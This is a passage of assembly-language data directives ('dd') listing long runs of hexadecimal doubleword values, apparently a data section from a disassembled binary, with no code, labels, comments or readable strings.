0CA340F38h, 812065F1h, 7C620F93h dd 78C638h, 0B43946D6h, 0DE54B7h, 0BE5EA868h, 22C6349Dh dd 80272D38h, 0E7FD1A4Dh, 0E6F247BBh, 4CCA54A1h, 8CDB002Dh dd 0F8A3609h, 0C503C423h, 0B242D6B4h, 919E48h, 96C85540h dd 883FD7FBh, 688AD901h, 6B69CE25h, 3C332C4h, 0C67BD675h dd 82A7B77Ah, 0B480B411h, 3AB6656Ch, 22004148h, 72303A49h dd 23C9027Dh, 4C6D7C90h, 6A70B8A0h, 0FF1E2476h, 0A805DE4h dd 0E52CD7EFh, 922301E9h, 43EB19E0h, 5DF8830Eh, 0B875E89Ch dd 3B2497Ah, 67114568h, 5009D12Ah, 1BEB835h, 30483A2Ch dd 1C7FD180h, 0A5671A77h, 0FDF31603h, 90C26EE0h, 7B40365h dd 7319A7E1h, 8F273037h, 4D1A6A41h, 1D10383Eh, 0DA224104h dd 0F708098h, 2CEF8B54h, 0B46E003Dh, 0D3E13E1Eh, 2D06AC53h dd 5FDEEC22h, 8C6B2228h, 0D9A44h, 74695123h, 50B367C9h dd 950005E6h, 0FA1EF1DFh, 3FC3903Ah, 0B6007ED6h, 0DB5E3B40h dd 0BD0427DEh, 15815778h, 714B5F80h, 0CDAF0066h, 864CB1F7h dd 1CF0ADB7h, 22DD2F02h, 830C0EDEh, 0B8339D99h, 0F9FC156h dd 5A328B9h, 9260009Eh, 450BCAF0h, 82369700h, 106F5F08h dd 0EE0E7817h, 0DE9B0086h, 65F9CA78h, 0B512464Ch, 0D3010515h dd 5FFA27B6h, 3CADC730h, 0F600B498h, 30D15108h, 4F007C8Dh dd 4E44FDAEh, 53637h, 964AAB0Bh, 8C39D1B7h, 8EEE0F0Fh dd 0A698C0E6h, 14536382h, 0B8187302h, 97F6FD00h, 0CC34461Dh dd 4E55EF01h, 0E18D6F16h, 3829F20h, 299C51D1h, 86C0A39Eh dd 8A001C2Bh, 0D021AD83h, 0B0192Fh, 22C358B1h, 63DB7A3Ch dd 3909BA38h, 0EC528189h, 0EE2C7031h, 3BC920h, 8B729458h dd 0C528EF6Eh, 5F8D7B00h, 0D90F69E8h, 1076000Eh, 4E3EF96Ch dd 59000DA1h, 4604D6FDh, 7B99EB68h, 6F960036h, 0EA952884h dd 0FB0012E0h, 511174A4h, 1B54C83Fh, 0E01DC936h, 5545E616h dd 0AF6B8703h, 910998FCh, 22F501DBh, 0B79446F6h, 0BAD62082h dd 5A004478h, 0B923E34Fh, 6D5B6Ch, 576F0811h, 0C9BB6A8Dh dd 4B0FB24h, 22A9CB00h, 16677B27h, 0EF3144h, 2A1D82D6h dd 37AA88Bh, 0A1335101h, 5A857E1Eh, 736DDDE0h, 178C2442h dd 3363050h, 0D33C0EA7h, 8329BC81h, 89D02A9Ah, 0E4A1D0A5h dd 92080162h, 48A9DA4Ch, 0FF94212Bh, 510D6DF0h, 33CAF800h dd 0D12497BCh, 7FAD009Ch, 0FB6322EBh, 61E3D7Eh, 803D9AF7h dd 5B847556h, 6BDDB5h, 0C8C92EC5h, 4627C38Fh, 7898B930h dd 3AE70C5Ah, 32870DEFh, 0C094924Dh, 99FE54DCh, 14F63500h dd 491B38EAh, 0D36F0013h, 82BDB815h, 20048E91h, 601EB77h dd 433B84C0h, 585262ACh, 63E0265Eh, 0C01F955h, 916B6179h dd 0DAE9E1CEh, 2981C531h, 0A3B10E97h, 0C1118EE0h, 0BA9E0A4h dd 13A1CD55h, 0E3233D8h, 0FF5814h, 8DABEE5Ah, 0AF01A636h dd 20D9F8FFh, 5CE54D4Ah, 37C824h, 0BBB4BACAh, 2E816132h dd 18FC9C07h, 7EC02B98h, 334B98Eh, 12222A68h, 24CEA507h dd 26807B48h, 0BF07C113h, 6C49F9Ah, 0C8B9C080h, 0A0953044h dd 0E1F26711h, 0C400DEFCh, 98D65364h, 6804E2h, 0D245C359h dd 2C5BE082h, 56F06B01h, 26C592A0h, 54A6C880h, 0EF17E8F8h dd 0A7B0830Ch, 0DB93Ch, 15B666ECh, 22944A38h, 4834DC3Fh dd 5ABC0FD3h, 7B5380D6h, 0C0A93FB6h, 0D7070988h, 8209833Ah dd 4CB85Dh, 0BFE90E7h, 1ED00D4h, 31CB498Bh, 91032794h dd 80D9F97Eh, 0CC0B433h, 801A2477h, 4A7CA8B1h, 3D71F701h dd 0FE76B4ECh, 18FBC680h, 93914B08h, 0CBF35200h, 319EE746h dd 1C6B00D4h, 827834B5h, 0D60086DDh, 62D73926h, 7A764B64h dd 2F0F00Bh, 0FCE5F65Ch, 8077D9D0h, 0FF570273h, 0BF5B002Dh dd 5EB489EFh, 4700D879h, 8B8A58D6h, 0FC42E06h, 44F62D0Ah dd 0C01EBDEEh, 46146655h, 2C756E24h, 8925B700h, 0E933D4F2h dd 3FE0EF73h, 0B12314B3h, 8C07B831h, 0F0EFA829h, 46CDF405h dd 2BD46500h, 173B52A0h, 16AF001Bh, 0C29BBF73h, 5F071E41h dd 0FD7DE39Eh, 17D6FC00h, 4C9F00E7h, 0AFC9EDB9h, 3000C1D4h dd 11ADF5C3h, 1884BA8h, 7FFD4017h, 0C03BABA0h, 0CC14A28Eh dd 2AC0AECh, 0FC9AC841h, 381D60C5h, 5AF90FBFh, 190987A0h dd 1266FF03h, 0B3C02CC0h, 0D653700h, 9C56EEDEh, 0AAFC00B4h dd 14BFBB11h, 721FB259h, 0B828DAA9h, 0C91E4700h, 55E3FB6Ah dd 19823C33h, 1968781h, 20391727h, 62063114h, 47B950E0h dd 42A70010h, 60781091h, 66306376h, 23621838h, 0C03F01BEh dd 449CD746h, 705430B8h, 0B11DE901h, 139A63C7h, 1EA7120h dd 1648C987h, 312924DEh, 0D4266054h, 8496EE24h, 146DEB01h dd 9CD442A9h, 48A5739Bh, 0CB0108D7h, 41781EE6h, 1BD83014h dd 6F631F01h, 0A80E289Ch, 32AC30h, 9419C5FFh, 0D607608Eh dd 1D0238B0h, 96B9D425h, 23C9C09Bh, 0F871E3h, 0AED30919h dd 0C38BC87Eh, 6F35A403h, 0F95A05ACh, 6420E143h, 163B007Ah dd 8AFD131Eh, 4F003495h, 0B95201ECh, 9A7899A4h, 76DB0054h dd 98257065h, 220007C7h, 0CE9F0375h, 3A7A64h, 0D7586A35h dd 9979E79Eh, 500FFFCh, 78C9EF87h, 712BC2BCh, 0DEAF0CC1h dd 0C05689A6h, 83987202h, 60AE76D4h, 59C70BE0h, 38005C27h dd 0D97250EFh, 0A0216F9h, 7FA4765Bh, 5EFE00DCh, 0D800A98Bh dd 5C2507B3h, 0B18628h, 3305ABD0h, 0BC9D2F4Fh, 19C4E700h dd 0CAFC6B37h, 2D5D28B9h, 0A4E64D30h, 4106E04Ch, 8B9B58Ch dd 8E5FA117h, 11BAC00Ch, 89AD44E2h, 68C78B09h, 50050069h dd 2E0E3306h, 1EC86260h, 1A8983D9h, 0E0D07077h, 0D118A40Dh dd 9A38BBCEh, 48996073h, 2F1D427h, 710089DFh, 0E554A355h dd 97321444h, 1C060819h, 4027AF2Bh, 1B3B409h, 0A257812Dh dd 98C98287h, 0A93E8864h, 20809C6Ch, 0EBDC1FD3h, 4B00195Fh dd 0C912EFC5h, 58FB8005h, 5E007648h, 0B2FC6528h, 3E00B088h dd 0B69BA9F7h, 0EE7C2DB7h, 34788Ch, 738216ACh, 8833B35Ch dd 9AE5FA17h, 11A61F00h, 0FEF7B989h, 7C2F0071h, 0D2E0D9CBh dd 0A1009259h, 98B27D13h, 1E9A41DBh, 401FDDE6h, 992E0BA7h dd 8800BE24h, 184B5CE7h, 8DE2BAh, 83C54495h, 1B91768Bh dd 0C168631Eh, 39709E3Bh, 7A3D9901h, 0DC503421h, 1EAEC47h dd 8BD1B9B0h, 9881B21Dh, 0F1214308h, 0FCEA00D3h, 0E7F6186Fh dd 9F2C9840h, 0E2013CA9h, 2C35F71Ah, 0B1D0A057h, 0CC0ED73h dd 0A94252DEh, 21C03F09h, 0E873C978h, 0E1D6076Fh, 0C207AD56h dd 38202D94h, 52E8269Fh, 0F900C44Fh, 7FD70304h, 2B19A1A3h dd 0C08F39Ah, 0FCDB2184h, 3A1A8002h, 767B4236h, 0F91BD9E7h dd 992C41C5h, 4073F96Eh, 9E082880h, 98410100h, 50B5DFD7h dd 2D070EA5h, 11E15FD3h, 0EF97BE3Fh, 0C6809806h, 1F20302Ch dd 8C1437BCh, 1B10A254h, 2325E900h, 363D9A9Eh, 263FF8A0h dd 7AAD14h, 47DD6003h, 8A390544h, 0F08686B0h, 0CEA9E1h dd 576F5951h, 7DEA1DADh, 86008D75h, 0E3A0C82Eh, 0AAB8B3h dd 9141D5E4h, 0EFCA444Eh dd 8AB0757Eh, 3ACB6500h, 358FC664h, 202C0096h, 0A4CA0D73h dd 0E03210Ah, 9EF06C4Bh, 0BC6AB86Dh, 0C9A70026h, 7608AD94h dd 0E63F6668h, 0F704827Dh, 0E0504F75h, 68276CF4h, 0F004315Ah dd 0CC60745Fh, 0AC978210h, 0D3680E30h, 0B520F171h, 0C2C0A8EEh dd 0E15F2000h, 82548004h, 29A964D5h, 116622A5h, 442A0875h dd 0F244E916h, 89BC449Ch, 13AF2284h, 65115D42h, 81D21B9h dd 6190128Eh, 48BB5E84h, 11E84FB1h, 198E1590h, 0E2C52271h dd 851E00DEh, 0E19302BCh, 323FA19Ch, 6A1B0041h, 8E2F61BAh dd 14234816h, 79625C00h, 447DFC4h, 0AD8AE800h, 142B5DEAh dd 0FD950048h, 5290298Dh, 0BBEE0423h, 24415504h, 0C0BFFC5Fh dd 545C1FE9h, 0B903AAE0h, 0F619F7D2h, 988BB6h, 22183978h dd 2C934CB3h, 8506D90Fh, 9944007Dh, 2470A1h, 11ED6E4Ah dd 0B573DC21h, 0E37EA00h, 97EE0A14h, 42BC0076h, 75A28998h dd 25037AB9h, 63339578h, 2117D83Ch, 1E8E0072h, 302D4380h dd 0F01D5DE2h, 877EA952h, 0FA1DBFD0h, 7C876CE0h, 33DB1DFCh dd 0F7680DAh, 30FD82E3h, 0E2EE93E8h, 35FFD501h, 0D34ADDD2h dd 9031CFDCh, 1297967h, 30A217BFh, 0C0BAEF8Eh, 4912EACCh dd 8200C00Fh, 0D61B02B3h, 7CA30003h, 238F3057h, 0D00B7B2h dd 0EE3D3F15h, 1EC025DCh, 3E2A1B63h, 0B280312h, 0D1812B58h dd 0DCD0E369h, 25FA70F1h, 0FC0C0600h, 0F085DFEDh, 505301EBh dd 9A7BDB4h, 7CC1C48Fh, 3894A900h, 176A86CDh, 6D71000Ch dd 0F20E9693h, 0F10F9E4Ch, 0C09A7AA0h, 0C05C8281h, 7EF0794h dd 670FFF34h, 0F2ABB0A4h, 8300BE6Eh, 7D89061Fh, 1C6A3A18h dd 403B8523h, 0A348558Dh, 0DA49A0C5h, 0E82000B0h, 6E38E9CDh dd 58A40052h, 852889B6h, 0AB7C10A3h, 486A5E01h, 654331A5h dd 1FBA74F4h, 83F614E1h, 9E64E94Fh, 75B5D4C8h, 1DEBFD07h dd 20E0E7F8h, 689BA1h, 0E3892574h, 0B04EED06h, 103C6116h dd 66789500h, 0EF67EBh, 0AEF05CF3h, 0ECDF41D4h, 60614000h dd 0D611E0FFh, 0EBB600CEh, 9B4AF656h, 861F1A5Dh, 4080A43Fh dd 39D41C83h, 0BAED000Ch, 0D061F946h, 540045DDh, 57EBFA22h dd 1D0E80h, 4DF72AF6h, 0BEEE0801h, 29512400h, 94FB3055h dd 4ED40E17h, 2D400DCBh, 32DEADE8h, 940A5E28h, 83A7F03h dd 0B8186768h, 0A6B349h, 80932BC4h, 4DFA0E22h, 34729B00h dd 0F99E97ABh, 0BFF31ED1h, 0C6509CDBh, 12CEAA62h, 4D1FC1B0h dd 0E6C0D73Eh, 9AB7507h, 541C006Bh, 80F13AE3h, 951F57AFh dd 3C40B468h, 594AFB56h, 0EB253F79h, 9C180880h, 0BBA9BE28h dd 70867D1Fh, 0C3124D03h, 0E9A0B9E4h, 249E0h, 7CD89FBEh dd 2DC2A70Dh, 0A4BD0526h, 0C3270639h, 928DDF8h, 33315837h dd 9F950400h, 4FFA8D69h, 1185E60Ch, 25C7808h, 0EE3C9332h dd 0E883FFF5h, 80ADD370h, 1E920188h, 63D6A30Ch, 3D671050h dd 0A9002466h, 3670E7D0h, 0C0001602h, 0AF7112E6h, 0A6475Eh dd 0CC9DAA06h, 26856945h, 17683Ch, 1FA09718h, 790DA5Fh dd 0C1EEA674h, 0E74C002Bh, 0B301622h, 0D13CB8E8h, 0AAB2C034h dd 0F144871h, 157D4F00h, 5EB055B6h, 0BEF0001Ah, 712DE6D0h dd 230006E4h, 0B781BC83h, 2CD699Ah, 5ADE1FD2h, 4C686FB6h dd 0D88B7C66h, 0E81FCE8h, 5FD2FB1Ch, 0BF741D9Fh, 83514100h dd 69794DF5h, 0B30EEB04h, 0A8804604h, 0F4B087E6h, 112E005Eh dd 73CBD347h, 50007427h, 0F9A87556h, 1E545A39h, 5DC3E18h dd 0C0F12277h, 19307C6h, 0CD6D3200h, 3306AD26h, 0E15E00A6h dd 46EC49E3h, 3500547Ah, 0DA088DF6h, 488BFADCh, 4780E0E7h dd 2417AE5Fh, 1D85D00h, 0BED7167Ah, 9DE10042h, 6D7022EBh dd 8538F427h, 64589E3Ch, 0B0F749h, 0D59AE5C8h, 8DC1004Fh dd 27E19E46h, 0A21E9408h, 0DB80AF57h, 68696A8Eh, 0FF3E00F2h dd 0F555B526h, 4814CC96h, 80592Dh, 0BB4AA4D8h, 770C0FBh dd 120FF839h, 0B968F0ABh, 1A00F511h, 0BC95F3FCh, 72CE097Bh dd 0D343003Bh, 6CCA0835h, 0A8FAD168h, 1C338413h, 0DDB8C400h dd 0CC3D7186h, 78209E11h, 1034ED00h, 0DB11403Ah, 18695CE0h dd 51C92909h, 0A4479820h, 7F070FB6h, 0F3EEE086h, 7E7D9630h dd 0C1F7003Fh, 3401FACDh, 0E21856ACh, 8E6060CCh, 3C823F0Bh dd 58766D80h, 0CB83E61Ah, 48174C00h, 0CC591866h, 9FA700EFh dd 6AED2EDBh, 7D5822EEh, 171314CCh, 0B4010BCBh, 0E59B8023h dd 9744DA0h, 5203BDCDh, 11657880h, 0CA017D72h, 2FF9601Dh dd 746435A0h, 87610427h, 80B4E08Ah, 41A6B1D8h, 0D25F9904h dd 608097EDh, 11AD375h, 8F7EBD8Ch, 400921EBh, 70C20EACh dd 9EFD4B03h, 0B059ECB9h, 0C2753856h, 9D6D1CFCh, 55741CE0h dd 0B00D6FCh, 0D8A762BAh, 207FC0Fh, 9C024FF3h, 0AC8112C5h dd 76A34D2h, 2154C9B2h, 0F7898EF4h, 0FE03C880h, 72EB900Fh dd 547B4097h, 2BDEAEDh, 983A31F1h, 6081FD36h, 40C43DE3h dd 467283C4h, 259384Ch, 1536AC29h, 92EC40DAh, 78F0484Eh dd 0C2A69B00h, 79CA732Ch, 5AFB8103h, 1F665507h, 40F9E790h dd 51023D9h, 5D2431B2h, 803C3464h, 0ACE326C9h, 3793E41h dd 4EABD295h, 0C13D395Eh, 0F0DF83B4h, 0EB5BE9h, 7A22D90h dd 0ADA52814h, 9D8BF101h, 0D3EA77C2h, 76271E4h, 6DA7049h dd 2A97604Eh, 773401Ah, 0A0568800h, 0CBA5E26Ch, 50FB0014h dd 107C3C06h, 2A00BEDEh, 4FCE8C90h, 6F16B7h, 286618F5h dd 40077FBCh, 0F21B6800h, 582E878Ch, 3E7700A9h, 0E237E884h dd 0C0000DAEh, 18EE48EAh, 280714A3h, 806423h, 3AB367C5h dd 5D8E7738h, 0EFA49A00h, 0D5B9F47Fh, 0D6520074h, 7514A961h dd 4F00F165h, 0B1FECA3Eh, 0E7AB23h, 63F3092Ah, 31907085h dd 47B40300h, 6817067Fh, 0D94D0071h, 4C5C97E5h, 0F8EFF488h dd 8F00691Ch, 0D4BB10C3h, 0B87C5877h, 6C090058h, 0D579497Dh dd 80070A03h, 44FBA5ECh, 0D8D01807h, 17AD0CE9h, 96381Dh dd 0A522155Ch, 0AB3F4E6Dh, 0F3A98F45h, 142EE03Bh, 64E1FCh dd 394AA502h, 9D5FD125h, 7D947000h, 0EC611123h, 0AF4B062Dh dd 506BE8C3h, 6ACCD317h, 14FAE400h, 0E6672D52h, 0EE83055Eh dd 80F51F82h, 2CD1BC08h, 561FC490h, 4D800A41h, 0E740971Ch dd 31D0011Fh, 0ADF2C342h, 82F8F086h, 69DA0F00h, 9B373BFEh dd 2CF4BA10h, 42C02A15h, 83006D82h, 0DDA738h, 2E07EED9h dd 0D1C95F7Ah, 8C007E79h, 35E48801h, 965ADD4Eh, 0A7030970h dd 0D5D18C10h, 75BF780h, 0B3D6939Ah, 71ED707Bh, 1B4C6B37h dd 0FA430046h, 12840390h, 0B3C130E3h, 22B1E848h, 66D09101h dd 86310D46h, 0B0946DD4h, 0F5C30E6Fh, 0A7C25143h, 20C45638h dd 0EFDBD302h, 40C17D2Bh, 0A7FF15h, 22099863h, 235289FDh dd 0BF58F800h, 0FEEA903Fh, 2C5C58C8h, 6DFF8A00h, 5855C920h dd 6176701h, 644A7C69h, 27D5003Eh, 98AC7F02h, 3AF0D43Ch dd 0ADEA80E6h, 6A827A53h, 2DA71D46h, 0B0B1C01Eh, 17AA24BFh dd 893DF600h, 0DEF82108h, 0FD770012h, 0C3FB4513h, 47006925h dd 0BB55C70h, 0B8A03A9h, 5276F27Fh, 85C56083h, 50ECF398h dd 0D44A5100h, 0A065C49Dh, 4DCA0021h, 0C07D20E5h, 0B800B40Dh dd 7A34DFB6h, 550A9Dh, 8E17374Fh, 0E9A7ECA1h, 7B54B001h dd 0D768B813h, 159DA20h, 34693537h, 0D477112Fh, 0F03CC848h dd 7E3E41h, 43FBACD1h, 50DFF1BEh, 33CF05Eh, 0AAA6B55Dh dd 0CE853B1h, 0F2001C27h dd 73C01ADDh, 98E770E8h, 0BCDE58E6h, 0A7987700h, 60651F29h dd 3C01CBECh, 1EAF6EEDh, 0B07B4DEAh, 0CE00621Ah, 46E7C0F0h dd 658009h, 51FD7679h, 0B3BFA732h, 0CFB1771Eh, 729F4440h dd 12ADD9F5h, 603520h, 343B1894h, 0D200F20Eh, 9E4D5AD4h dd 7A941D3h, 1974C723h, 62FA50E7h, 5300A74Ah, 69AA2512h dd 590AEDDh, 295A0A0Eh, 0F97EC0DAh, 0B500D3E6h, 598A1575h dd 0A0710C5Dh, 8DBC8h, 79B3D7D5h, 6C722E9Dh, 0A4236A00h dd 8D2A0529h, 52BB0C02h, 0A3186BB3h, 65FA2804h, 55C1F0B9h dd 94DCC6E6h, 9B712D2Ch, 0DA079458h, 0BD5135FFh, 0D836BA30h dd 1CFA0274h, 531EE5Eh, 69E4EC60h, 1E16EF39h, 9380D3CDh dd 4CF439F7h, 375E0F9h, 15E545C8h, 30000359h, 0AC26929Ch dd 3C6C6388h, 0A8801960h, 8AF5C210h, 9B1675A2h, 22002E28h dd 62AEE51Bh, 963C0031h, 0B5FFF1DBh, 9900B3E0h, 0C2B9C0D7h dd 9EBEFDh, 0DAF9CC71h, 4619B4D6h, 0A7780700h, 0BD01866Ch dd 405B008Eh, 32DBDFCAh, 0B801E47Bh, 23EDF878h, 5B70A334h dd 8D8900A1h, 0FCE20438h, 0DD002CEEh, 4AAFAE13h, 388E9D1Ah dd 279C1F91h, 94F540C1h, 2609A4BDh, 2B028600h, 0C8F13F80h dd 0A9833A0Ch, 0B11C200h, 0C1780634h, 23285303h, 0DC028B16h dd 76FE8E0h, 0CBBC80BDh, 4FEC252h, 72C1070h, 95092C9Ch dd 0E60480DDh, 0F973E757h, 4DE0FC20h, 0F11E54D3h, 0D73D4044h dd 72BD6403h, 11F62200h, 24959207h, 0F54404CBh, 0C3D49EE5h dd 45B0C690h, 5D009B66h, 0E8EF4EE7h, 0BD7F26h, 8613564Ah dd 10740C60h, 0D32BF305h, 0F8C24118h, 8018406Ah, 9570CAh dd 338249ECh, 3BC11E10h, 53398F03h, 76873F8h, 1C77E228h dd 0A0876917h, 0E8F350B6h, 4F01DD8Ch, 0B0822247h, 0FBFCB536h dd 3A6D1E48h, 5EBB00C3h, 1205BC58h, 0D811A000h, 0EEFFD5F6h dd 0E4AF12CEh, 5CBF00CBh, 9E372ED7h, 1F7F3100h, 244FA949h dd 2BBC010Ah, 0A6DEAC5Fh, 8668CC63h, 0F0220B3Ch, 0CE371405h dd 70C1EE49h, 40CC2CF6h, 746E0FD8h, 3720C325h, 5076098Ch dd 0D7A4AA00h, 2BEE0D82h, 0BBB701BAh, 4DB0B5A8h, 0FEC041D3h dd 47F0C44Ch, 4EF04267h, 0D8F9B113h, 2AC5A33Fh, 78E41FEFh dd 7D4A009Fh, 35974F25h, 0A207FFD7h, 6BCBFCC0h, 38CF3750h dd 16BCB4C7h, 6E703117h, 6B4A0071h, 6C4B8Ch, 72C95238h dd 0F80669A2h, 5E84DE2Fh, 7660468h, 0C0DF6C30h, 4B51C618h dd 0F2A7F40Eh, 29ED20D5h, 0FD9BA74h, 5BBE98D3h, 79A1FA00h dd 8800594Ah, 0ECB18312h, 28A845h, 0DB24B287h, 6C49E44Eh dd 9CF9C70Eh, 0E76E40A1h, 0EA0F853Ah, 60B00AEh, 5F787188h dd 4E00FFD6h, 0BD1C132Fh, 90EE080Dh, 32C50038h, 1B460FEBh dd 340031D8h, 0A7958805h, 0EE2854h, 8F117C09h, 5ABF4A1Dh dd 7F804C01h, 0A8B47178h, 3F37A4E4h, 4600E33Fh, 90E6D9Ch dd 9A1E8BB0h, 960BB882h, 8838A06Ch, 210131h, 56E5C9E4h dd 0ADE6BE4Fh, 0C795CF05h, 94005B48h, 0D7C47E2Ah, 0E674B862h dd 87A20086h, 6A44A6C3h, 0ED011CA1h, 0C59064Dh, 83E0E052h dd 3FFD3BB6h, 35769B00h, 6C11815Eh, 0AAB43Bh, 0E3DC2FE9h dd 0E2E049h, 0F936549Dh, 33D67C60h, 88FFE802h, 8021CD61h dd 65C367F0h, 8FB01C50h, 6E9AC5C1h, 49BDC03Ch, 0D9007697h dd 1C59F694h, 1B5F273h, 0D86E8881h, 0E4CDAB63h, 2600E1CAh dd 0DC06A78Ch, 6025B4h, 0AD07E6C8h, 5BC07204h, 90142B13h dd 5CC0811Dh, 0D102CF28h, 0E0DE000Fh, 8731A4FEh, 0C201550Bh dd 3CA1F3E6h, 0E0D254CDh, 0F8193Ch, 0D4B991BBh, 2C27265Dh dd 0EC823Ah, 0CBB469FEh, 17E6B8Ch, 267156D7h, 30D8A4D0h dd 0CF00A319h, 0D25A272Ah, 172EE04h, 18EC530Bh, 7F9AACC5h dd 0C4A0A680h, 544F1Ah, 3841DC88h, 0EC099B73h, 27CB1F15h dd 23228924h, 0B210E13Eh, 9D36F8h, 71116795h, 0E088803Ah dd 4A69F600h, 0A786B066h, 0CE910083h, 9BB6C167h, 705853DAh dd 8C300CFh, 0B8CA483Fh, 4B1A002Bh, 0E2D6C58Fh, 7900D51Eh dd 66CB7EABh, 507528h, 0E19A6AD0h, 916020DAh, 311EC48h dd 300CBA9Bh, 0E2F89A3Dh, 8450E8h, 3EAF63C1h, 319A8334h dd 0FBA09605h, 0DC25F5D3h, 10AD4C00h, 31D6171h, 0FAC6426Bh dd 0B20027CDh, 4FEF0D25h, 9C7481h, 49AFFF35h, 5CB3067Fh dd 37ED8D15h, 0D1530094h, 8E95FC2Eh, 7DBE0028h, 0CFAC550h dd 6D7F70EEh, 0D0F3CE30h, 2EC360AFh, 787C868h, 307CBA6Fh dd 0CC4DE3E5h, 58AC1200h, 0FB71181Fh, 185958D0h, 6CCE8E00h dd 1ED4DF98h, 0CBAB5E00h, 70CD7CA9h, 0C5117B26h, 9051CC28h dd 563A74A4h, 0FDF1AE00h, 368C769Dh, 6DD02C02h, 2EBA009Bh dd 0A0B9E14h, 0E99B4300h, 8A3E957Ah, 0B8755C52h, 2890FD0Eh dd 0F81610Ah, 1FE0A664h, 4338E951h, 0EC027E00h, 1D087F5Dh dd 346B079Ch, 0A9E8A174h, 9BCAE000h, 202B724h, 26430522h dd 489DE0BFh, 189FC64h, 662E0DBCh, 60322CF8h, 160063ADh dd 0FBC5E025h, 33E5596h, 990AB9E1h, 98243F0Bh, 0C001E0D9h dd 0FEC37E42h, 3F595464h, 10055DEh, 0AB535B84h, 8E1CBE42h dd 80BF1752h, 0CE3A6920h, 94BDB3h, 546746C5h, 0A9845FC2h dd 0EE0A290h, 5A90A60Ah, 8013E4B1h, 2E671C40h, 49158Fh dd 2C75AECEh, 0DEBE607h, 0BF47D0A0h, 2D5E4002h, 0D2D2460Eh dd 59550164h, 3FF7A96Eh, 0BA90605Ch, 0DC90FD7Eh, 0E7611000h dd 94D5187Bh, 0BF141EAFh, 0A5FC0BD0h, 36D2B00h, 9C05FDBBh dd 0DE0D76F7h, 0C546B9C0h, 0F10C07BFh, 0F0D19036h, 0C2CF8321h dd 977F4000h, 41658834h, 43A60079h, 0EB5E6911h, 3026B3C1h dd 20007456h, 97484BFDh, 48F4486Dh, 0C5C49D00h, 45BF1AE5h dd 807C383Eh, 44A4BACEh, 78895BCh, 17A5D59h, 289E30F6h dd 0EA1C2C79h, 4E81A14Dh, 0EBE71649h, 7CED4D0h, 0E15ACDB6h dd 0FDEAC030h, 821ED6DFh, 0FCC0203Eh, 0ADC2A670h, 1EEC9628h dd 0C908216Bh, 0F2F605D4h, 8E19C1BBh, 8F4C702Ch, 9682D902h dd 6011D1BAh, 0A51516h, 0FB20314Ah, 1A7AFC9h, 0C8E2D000h dd 9A03D556h, 0FCA900A0h, 3D28BC7Fh, 7C008720h, 0F3B7EE7Ah dd 5A1AC691h, 52C40092h, 0F81FCDE8h, 3E044Ch, 0BD46FA33h dd 1C7681Bh, 96759D25h, 0DC7A12A9h, 0F000E18Ch, 741658CAh dd 28DD37h, 0AC59BDFAh, 39A5D57Eh, 0EE006DB8h, 241E1C0h dd 7D2986E6h, 0D6D10FC6h, 3BC04D72h, 548967F3h, 47986E00h dd 17620744h, 4FD6003Ah, 0BD88B518h, 4024AC80h, 0B1000830h dd 0BEDEC424h, 0FFB4005Fh, 0B5CA8A1Bh, 0C14C6211h, 5E310007h dd 93FC351Ah, 0A2330066h, 0C4E84A12h, 3A3DEDBDh, 0AB18843Ch dd 0BCB0BA6Ch, 37DC3D59h, 0C2FAB103h, 0A3B02EC9h, 0AEA8DEAh dd 0E5CA2250h, 68A7440Eh, 0E68FE9h, 3045242Dh, 0BEED0010h dd 19B67614h, 0CD09C4FCh, 803FA897h, 24853B88h, 0E0D000E8h dd 45EA432Fh, 8C94C666h, 5C2C0480h, 287CC9ADh, 1FCD920h dd 0E1E27F4Dh, 0D86A79E8h, 0FD005064h, 4A22292Ch, 387288h dd 0C93047CAh, 3D613F0h, 26A3F206h, 74E8C6h, 4B1EBA99h dd 0EDB88554h, 87A63300h, 113FF5D1h, 3BF5BC6h, 0CC742D7Ch dd 50E97FEBh, 0C1EC7C12h, 2C20655Eh, 3E0AD878h, 0FCA9DBh dd 67CDCFF5h, 0EF0E1EB7h, 0E059AF8Eh, 0B181EC17h, 42D5053Eh dd 0C0DFD3EEh, 0AAC3CCFDh, 38AE30Ah, 6800CC10h, 90F6B806h dd 5F3472EBh, 8C82A0B4h dd 0BB663A01h, 6A8BCF4Ch, 0AB90A180h, 69F8502h, 2EE22725h dd 0BE80BFA4h, 0B219FDB7h, 159D1E7Ch, 79AA39EAh, 11030FC4h dd 9A60E172h, 7B08C7E8h, 3EDC6E14h, 0C0EF08CCh, 44445AB8h dd 5117FB7Ah, 3CC3F091h, 0C66CD874h, 0D89730E5h, 27F34DAh dd 998B130Eh, 1000FC8Dh, 76E2CCE9h, 181700D4h, 2D7B700Ch dd 4D008EB9h, 0AD893865h, 974AA8h, 2AF22823h, 0FEAC6FCEh dd 10843A01h, 918B1457h, 6BE2FCh, 0CF1A95E1h, 3CDD549Eh dd 0B6A0E700h, 0F944DED4h, 47E500A4h, 0EA8F7678h, 0EF25E26Ah dd 0D08880D8h, 65869Eh, 0E58EA746h, 0CD33642Fh, 11C1960Eh dd 0C4F4A01Ah, 0AD0529h, 0FA67B98Ch, 0B6EB9DDFh, 4A7A4C00h dd 0CB98A00Eh, 901901EEh, 0C22DDBEAh, 9A6DF4E0h, 0B9F13F12h dd 0C64FFC80h, 1D7C002Eh, 98FC95D8h, 7B001453h, 0F899D419h dd 51BFE3Fh, 8278CB6Eh, 0E6A8406Ah, 688922B1h, 0B8D3002h dd 60F6B5E3h, 8F0C30h, 0A2761879h, 0D0F29C4Dh, 0E5207400h dd 0A8A7D7B0h, 86050033h, 82256A3Bh, 5A002917h, 61A456FAh dd 243566h, 8F018E3Eh, 2279DF78h, 0A5BCA8C2h, 0C080EB60h dd 30C418E5h, 0E208D6F6h, 287C1BEBh, 0C3F8D71Eh, 1E151101h dd 2087E15Ch, 25B0A5DDh, 0D7200765h, 7A7ECE10h, 67612430h dd 0B541320Ah, 147EBBE0h, 8BD3407h, 0D3BFE401h, 70C56002h dd 9F038AEh, 2150B050h, 0C1815E74h, 0C55C5885h, 0A31471CDh dd 0D3745099h, 0F20002ADh, 3F69D5B5h, 7124008h, 5D20C2B2h dd 1A86C0ABh, 580F2B77h, 606A3C64h, 0AFF07BBh, 364100BAh dd 35C819EDh, 0BE009025h, 0C249AD47h, 1CA9BFh, 4EABB72Ah dd 4FAE938Dh, 55EC5E00h, 525D5BCCh, 6A560029h, 961A2C36h dd 68ECA84Ah, 735EF8EDh, 2D3DBA72h, 32421CA3h, 0A0B0C780h dd 39EB62h, 5A569C12h, 5F0352B8h, 4EAC5754h, 0F39B280Ch dd 196A1169h, 0F85C0AD3h, 58CB20AAh, 2582E300h, 81F05E2h dd 0C9270044h, 689E29E9h, 